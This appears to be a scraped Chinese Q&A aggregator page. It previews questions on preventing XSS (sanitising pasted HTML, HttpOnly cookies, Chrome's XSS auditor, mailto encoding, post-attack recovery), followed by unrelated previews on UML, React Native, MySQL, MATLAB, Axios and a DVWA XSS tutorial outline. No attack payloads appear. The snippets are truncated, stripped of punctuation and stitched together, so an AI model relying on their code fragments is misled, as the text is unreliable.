    HTML5 剪贴板很棒 但我正在寻找一种使其安全的方法 用户正在将文本 html 粘贴到我的网页中 这允许他们粘贴图像 表格等 我正在寻找一种方法 在将粘贴的内容添加到页面之前删除所有脚本 我需要删除
  • 防止XSS漏洞的措施(比如Twitter前几天的一个)

    就连Twitter这样的知名网站也存在XSS漏洞 我们应该如何预防这种攻击呢 您可以做的第一件事是将您的 cookie 设置为仅 HTTP 这至少可以防止会话 cookie 劫持 就像当您可能是自己网站的管理员时有人窃取您的 cookie
  • Chrome:ERR_BLOCKED_BY_XSS_AUDITOR 详细信息

    我在尝试发布然后获得一个简单的表单时收到了这个 chrome 标志 问题是开发者控制台没有显示任何相关内容 我自己无法找到问题的根源 是否有任何选项可以更详细地查看此内容 查看触发错误的代码片段以修复它 在开发中绕过此错误的简单方法是将标头
  • 如何正确编码 mailto 链接?

    我正在生成一些 HTML 并且我想生成 XSS 和数据库内容安全的mailto关联 这里使用的正确编码是什么 这个怎么样 myLiteral Text string Format mailto 0 Content Type text htm
  • 遭受xss攻击后如何恢复站点?

    最近我正在研究XSS攻击以及它们对网站的破坏性有多大 让我惊讶的是 网络 even SO 充满了关于如何防止xss攻击但没有相关资源说明如何在网站受到 xss 攻击后恢复网站 我遇到过一些事情 比如 将备份网站代码上传回服务器 下载整个网站

随机推荐

  • Enterprise Architect(EA)画UML之用例图,敲详细讲解+实战举例

    目录 具体步骤 前提准备 实战画用例图 实战加一 绘制 机票预订系统 用例图 补充 补充一 如何调整整体字体 补充二 如何修改边框字体 补充三 在关闭Enterprise Architect之后如何打开 在 UML面向对象分析 建模与设计
  • ReactNative 学习笔记

    学习使用的开发工具 编译器 VSCode 开发语言工具 TypeScript 重要程度分类 一般 这个程度的知识点主要是达到熟练掌握即可 不用太深入研究和学习 重要 这个程度的知识点主要是达到熟练掌握 并且内部的原理切要熟记 因为会关联到其
  • 【大数问题】字符串相减(大数相减)<模拟>

    类似 力扣 415 字符串相加 大数相加 实现大数相减 题解 模拟相减的过程 先一直使大数减小数 记录借位 最后再判断是否加负号 中间需要删除前导0 例如10001 10000 00001 import java util public c
  • java byte格式_Java——详解java中的byte类型

    Java也提供了一个byte数据类型 并且是基本类型 java byte是做为最小的数字来处理的 因此它的值域被定义为 128 127 也就是signed byte 下面这篇文章主要给大家介绍了关于java中byte类型的相关资料 需要的朋
  • 基于粒子群算法(PSO)优化径向基神经网络(PSO-RBF)的数据回归预测,多变量输入模型。matlab代码,优化参数为扩散速度,采用交叉验证。评价指标包括:R2、MAE、MSE、RMSE和M

    clc clear all close all tic warning off 导入数据 训练集 190个样本 P train xlsread data training set B2 G191 T train xlsread data t
  • 解决Antd Tree组件,二次点击时不取消选中,保持高亮

    一 问题概述 ant design 提供的 Tree树组件 支持点击高亮树节点 再次点击取消高亮 默认效果如下 然而大多数业务场景下 我们希望多次点击同一个节点不会取消他的选中效果 二 解决方案 监听onSelect时间 并使用select
  • BUG解决Button类不能从UnityEngine.UI中引用

    Button does not contain a definition for onClick and no accessible extension method onClick accepting a first argument o
  • mysql 分表插入,mysql实现插入数据到分表

    创建原始数据表 DROP TABLE IF EXISTS articleinfo CREATE TABLE articleinfo id BIGINT UNSIGNED NOT NULL AUTO INCREMENT PRIMARY KEY
  • suse11/12下关闭防火墙

    service SuSEfirewall2 init stop chkconfig SuSEfirewall2 init off 启动操作为 service SuSEfirewall2 setup start service SuSEfir
  • 通过java解析域名获得IP地址

    IP地址是Internet主机的作为路由寻址用的数字型标识 人不容易记忆 因而产生了域名 domain name 这一种字符型标识 DNS即为域名解析服务 在这里我们如果想通过java程序来解析域名获得真实IP的话 可以通过java的Ine
  • C语言指针高级篇

    相信很多人都听过指针是c语言的灵魂 对于指针的学习 往往也是最难的 也是最难搞懂的 那么今天我们一起来学习分析c语言的指针 体会c语言的魅力 指针和指针应用大概分为一下几类 1 字符指针 2 数组指针 3 指针数组 4 数组传参和指针传参
  • Node.js笔记-day04

    18 Node js 回调函数 Node js 异步编程的直接体现就是回调 异步编程依托于回调来实现 但不能说使用了回调后程序就异步化了 回调函数在完成任务后就会被调用 Node 使用了大量的回调函数 Node 所有 API 都支持回调函数
  • Linux关于文件或者目录的常见命令

    1 查看当前所在目录 print working directory 该命令的基本格式为 root localhost pwd 2 查看指定目录下所有的子目录或者文件列表 list 该命令的基本格式为 root localhost ls 选
  • Axios(万字详细教程)

    Axios介绍 1 Axios是什么 Axios是一个基于promise的HTTP库 类似于jQuery的ajax 用于http请求 可以应用于浏览器端和node js 既可以用于客户端 也可以用于node js编写的服务端 2 Axios
  • idea项目无法打包

    打包过程 点击maven 点击lifecycle后点击package 运行后出现 打包出错 原因是plugins标签里面缺少maven resources plugin依赖 需要在pom xml里面添加依赖
  • Zimg—轻量级图片服务器搭建利器

    在一个互联网应用中 图片扮演着越来越重要的角色 有稳定的可扩展的图片存储服务器就显得尤为的重要 云厂商们提供了便利的图片存储服务 花钱就可以解决了 这里简单介绍一个开源的一个分布式图片存储服务器 zimg 来自己搭建一个图片服务器 当然你也
  • 2022阿里巴巴全球数学竞赛 第4题 虎虎生威(盲盒问题、集卡问题)解决思路

    目录 题目 基础概念 数学期望 题解 虎生威 问题 水浒传108卡 问题 虎虎生威 问题 题目 来自 2022阿里巴巴全球数学竞赛 第4题 单选题 基础概念 数学期望 在概率论和统计学中 数学期望 mathematic expectatio
  • 机器学习好伙伴之scikit-learn的使用——特征提取

    机器学习好伙伴之scikit learn的使用 特征提取 什么是特征提取 sklearn中特征提取的实现 PCA 主成分分析 LDA 线性评价分析 应用示例 PCA部分 LDA部分 有些时候特征太多了 可以利用sklearn中自带的函数进行
  • Yii Framework 开发教程(48) 多国语言示例

    本例通过Yii Framework 开发教程 11 UI 组件 ActiveForm示例添加中文支持简要说明一下多国语言支持 详细文档可可以参考Yii文档 信息翻译是通过调用 Yii t 实现的 此方法会将信息从 源语言 翻译为 目标语言
  • DVWA学习之XSS(跨站脚本攻击)(超级详细)

    DVWA学习之XSS XSS 跨站脚本攻击 0x01 XSS Cross Site Script 简介 0x02 何为XSS 0x03 XSS存在的原因 0x04 XSS漏洞的危害 0x05 XSS 的分类及特点 1 存储型XSS 2 反射